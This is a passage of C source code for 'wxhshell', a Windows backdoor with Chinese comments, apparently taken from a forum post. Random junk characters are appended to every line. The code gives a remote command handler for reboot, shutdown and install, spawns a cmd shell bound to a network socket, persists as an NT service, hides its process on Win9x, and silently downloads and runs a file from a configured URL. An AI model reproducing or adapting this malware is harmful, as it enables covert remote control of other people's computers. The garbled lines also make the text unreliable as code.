    switch(cmd[0]) { `sCaGCp  
  ,-y9P  
  // 帮助 V[nPTYO4  
  case '?': { g;63$_<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T(7`$<TQ  
    break; 29RP$$gR  
  } xGwImF$r  
  // 安装 ;3cbXc@]  
  case 'i': { #_ |B6!D!  
    if(Install()) $5&%X'jk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {\l  
    else \tI%[g1M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w'H'o!*/  
    break; l:V R8g[  
    } 0!|d .jZI  
  // 卸载 0 jth}\9  
  case 'r': { /]TNEU,K  
    if(Uninstall()) OT])t<TF6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +{I_%SsG  
    else `uMEK>b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k <oB9J  
    break; |NfFe*q0;8  
    } ^Qs}2%  
  // 显示 wxhshell 所在路径 '9V/w[mI  
  case 'p': { Q4"\k. ?  
    char svExeFile[MAX_PATH]; n(F!t,S1i  
    strcpy(svExeFile,"\n\r"); ^ F]hW  
      strcat(svExeFile,ExeFile); .*zS2 z  
        send(wsh,svExeFile,strlen(svExeFile),0); sxREk99lL  
    break; a+^` +p/5  
    } AatSN@,~z  
  // 重启 [MTd<@  
  case 'b': { !LN8=u.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tUv>1) [  
    if(Boot(REBOOT)) >D,Oav  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xPm. TPj  
    else { ,&t+D-s<f  
    closesocket(wsh); !!1?2ine  
    ExitThread(0); dE7x  SI  
    } IK2da@V  
    break; 2a$. S " ?  
    } g<:Lcg"u  
  // 关机 JY0aE  
  case 'd': { >H;i#!9,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FQ< -Wc  
    if(Boot(SHUTDOWN)) 7]h%?W !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]ZY2\'  
    else { 9jkz83/+<  
    closesocket(wsh); %v0M~J}+  
    ExitThread(0); QJ2]8K)+C  
    } i 9) G t  
    break; 3B&A)&pEO  
    } } e[ E  
  // 获取shell x%B_v^^^  
  case 's': { ?Z#N9Z~\  
    CmdShell(wsh); 7Q .Su  
    closesocket(wsh); \zO.#H  
    ExitThread(0); r<`:Q]  
    break; d9f7 &  
  } +K 4XMf  
  // 退出 G$<(>"Yr~$  
  case 'x': { 5p0~AN)  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tDK@?PfKz  
    CloseIt(wsh); Q]k< Y  
    break; B5lwQp]  
    } <XdnVe1  
  // 离开 [ RyVR  
  case 'q': { ;.>*O oe&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Cy~IB [  
    closesocket(wsh); |p|Zv H  
    WSACleanup(); Ds`e-X)O;\  
    exit(1); smn"]K  
    break; MpCPY"WLL  
        } nQF& ^1n  
  } Qd} n4KF\  
  } @Kpm&vd(  
E'AR.!  
  // 提示信息 CsO!Y\'FY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y+?QHtZL  
} RM2Ik_IH[l  
  } ewMVUq*:  
F]$ Nu  
  return; mrTf[ "K  
} Ni_H1G  
@ st>#]i4  
// shell模块句柄 BhJ>G%  
int CmdShell(SOCKET sock) VE |:k:};  
{ p _gN}v  
STARTUPINFO si; _{*} )&!M  
ZeroMemory(&si,sizeof(si)); ZbFD|~[ V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b fxE}>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5nG\J g7  
PROCESS_INFORMATION ProcessInfo; "Lp.*o  
char cmdline[]="cmd"; W5R/Ub@g  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); m}]{Y'i]R  
  return 0; k<9,Ypa  
} "-4|HA  
_H+]G"k/r  
// 自身启动模式 H,7='n7"  
int StartFromService(void) "#d$$ 8  
{ 3lUVDNbZ  
typedef struct Rh'z;Gyr  
{ >q}3#TvP@  
  DWORD ExitStatus; >F$9&s&  
  DWORD PebBaseAddress; QQJGqM3a2  
  DWORD AffinityMask; s9?mX@>h  
  DWORD BasePriority;  {53FR  
  ULONG UniqueProcessId; A(y6]E!  
  ULONG InheritedFromUniqueProcessId; 1-kuK<KR  
}   PROCESS_BASIC_INFORMATION; V3,C5KKk&z  
N63?4'_W  
PROCNTQSIP NtQueryInformationProcess; Ia2WBs =  
mb\T)rj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rk$7jZdTf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |~9rak,  
$fb%?n{  
  HANDLE             hProcess; jFSR+mP!  
  PROCESS_BASIC_INFORMATION pbi; ]cRvdUGv  
@2Z|\ojJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); iJ>=!Q  
  if(NULL == hInst ) return 0; +t7HlAXB#  
YU,zQ V'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {j wv+6]U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); </I%VHP,[f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); > X~\(|EM  
xQ9t1b|{e  
  if (!NtQueryInformationProcess) return 0; q!z?Tn#!jd  
s< tG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u Kx:7"KD  
  if(!hProcess) return 0; ]3,'U(!+  
d6i}xnmC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EjPR+m  
 ][ $UN  
  CloseHandle(hProcess); Y>$5j}K  
e~vO   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <&eJIz=  
if(hProcess==NULL) return 0; `,O7S9]R+  
{z oGwB  
HMODULE hMod; %Wtf24'o;v  
char procName[255]; =ejcP&-V/  
unsigned long cbNeeded; |~9jO/&r  
xF_u:}7`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IOHWb&N6  
XpAJP++  
  CloseHandle(hProcess); ?q!4REM  
\`k=9{R.  
if(strstr(procName,"services")) return 1; // 以服务启动 qnP4wRpr  
MWwqon|  
  return 0; // 注册表启动 p{E(RsA  
} U6JD^G=qR,  
U]Q 5};FK  
// 主模块 tB;PGk_6  
int StartWxhshell(LPSTR lpCmdLine) ;MfqI/B{  
{ |$ PA  
  SOCKET wsl; < F5VJ  
BOOL val=TRUE; f1NHW|_j  
  int port=0; wBt7S!>G  
  struct sockaddr_in door; rfDGS%!O%  
e N`+r  
  if(wscfg.ws_autoins) Install(); g$Tsht(rHD  
.-$3I|}X=  
port=atoi(lpCmdLine); qO@vXuul,  
[n9l[dN  
if(port<=0) port=wscfg.ws_port; M^ * ~?9  
BB}WfA  
  WSADATA data; t[|rp&xG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ivo3 pibk%  
<EnmH/C.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ET[5`z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SU%O\ 4Ty  
  door.sin_family = AF_INET; :$I "n\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \O*ZW7?TJ  
  door.sin_port = htons(port); 6jpzyf=~  
+[}y` -t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u^Cl s!C  
closesocket(wsl); tM LiG4 |7  
return 1; bWL!=  
} q}i#XQU  
V@0T&#  
  if(listen(wsl,2) == INVALID_SOCKET) { .XgY&5Qk  
closesocket(wsl); ^E%R5JN  
return 1; Y6wr}U  
} !>(uhuTBF  
  Wxhshell(wsl); :V(C+bm *  
  WSACleanup(); 0d[O/Q`  
#8jiz+1 _  
return 0; I=DVMG|  
E+y_te^+b  
} #>yOp *  
D[^K0<-Z  
// 以NT服务方式启动 i~x]!!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )d[n-Si  
{ jP+{2)z"W  
DWORD   status = 0; %lbvK^  
  DWORD   specificError = 0xfffffff; @ 2hGkJ-  
pg5W`4-F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {]Mwuqn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uP4yJ/]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a@g <cl7a,  
  serviceStatus.dwWin32ExitCode     = 0; nZiwR4kM  
  serviceStatus.dwServiceSpecificExitCode = 0; T6y~iNd<  
  serviceStatus.dwCheckPoint       = 0; kRggVRM  
  serviceStatus.dwWaitHint       = 0; *L?~  
KyIUz9$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z7wl~Hk  
  if (hServiceStatusHandle==0) return; rFcz 0  
_"*vj-{-y  
status = GetLastError(); ~_BjcY  
  if (status!=NO_ERROR) ?u CL[  
{ 9@qkj 4w  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &CRgi488b  
    serviceStatus.dwCheckPoint       = 0; *X3wf`C?  
    serviceStatus.dwWaitHint       = 0; 7OLHYt9  
    serviceStatus.dwWin32ExitCode     = status; w[a(I} x  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5_A*I C]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Na`> pH  
    return; ( x% 4*  
  } h_-4Q"fb(  
wv3*o10_w8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q%d,E1  
  serviceStatus.dwCheckPoint       = 0; WBKf)A^S  
  serviceStatus.dwWaitHint       = 0; YuuTLX%3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^coCsV^CW"  
} (Jb#'(~a  
+Zi+ /9Z(H  
// 处理NT服务事件,比如:启动、停止 g mWwlkf9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3L2NenJB  
{ r5[pT(XT]  
switch(fdwControl) L5UZ@R,  
{ !Th5x2  
case SERVICE_CONTROL_STOP: bOU"s>?  
  serviceStatus.dwWin32ExitCode = 0; UvMkL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _zbIS&4  
  serviceStatus.dwCheckPoint   = 0; /IcGJ&;  
  serviceStatus.dwWaitHint     = 0; Q~.t8g/  
  { {zd[8TJ~xa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cK[=IE5  
  } d&G]k!|\  
  return; r4cz?e |  
case SERVICE_CONTROL_PAUSE: X<_HQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; XD8Cf!  
  break; Qu<6X@+5  
case SERVICE_CONTROL_CONTINUE: {oOUIP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; $+2QbEk&-  
  break; %qsl<_&  
case SERVICE_CONTROL_INTERROGATE: ]Ndy12,M  
  break; S~r75] "  
}; ta5_k&3N  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f5M;q;  
} YXTV$A+lW  
VJ h]j (  
// 标准应用程序主函数 m|B)A"Sm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]'n4e*  
{ -vm1xp$  
E"[p_ALdC  
// 获取操作系统版本 wIAH,3!  
OsIsNt=GetOsVer(); Fa`%MR1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Tei2[siA5  
QiA}0q3]0  
  // 从命令行安装 D HQxu4  
  if(strpbrk(lpCmdLine,"iI")) Install(); #Rfc p!  
2\&3x} @  
  // 下载执行文件 s[eSPSFZ  
if(wscfg.ws_downexe) { :G98uX t  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ho6hjhS|u  
  WinExec(wscfg.ws_filenam,SW_HIDE); QSzht$ 8  
} (!b)<V*  
[< g9jX5  
if(!OsIsNt) { *[i49X&rd  
// 如果时win9x,隐藏进程并且设置为注册表启动 % u VTf  
HideProc(); e[Vk+Te7  
StartWxhshell(lpCmdLine); tz?3R#rM  
} wWx{#!W  
else iEI#J!~  
  if(StartFromService()) G*_]Lz(N  
  // 以服务方式启动 FS)# v  
  StartServiceCtrlDispatcher(DispatchTable);  96;5  
else sk07|9nU  
  // 普通方式启动 k(7Q\JKE  
  StartWxhshell(lpCmdLine); ]iW:YNvXA  
/? d)01  
return 0; _R]0S  
}
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只看该作者 1 发表于: 2006-10-10
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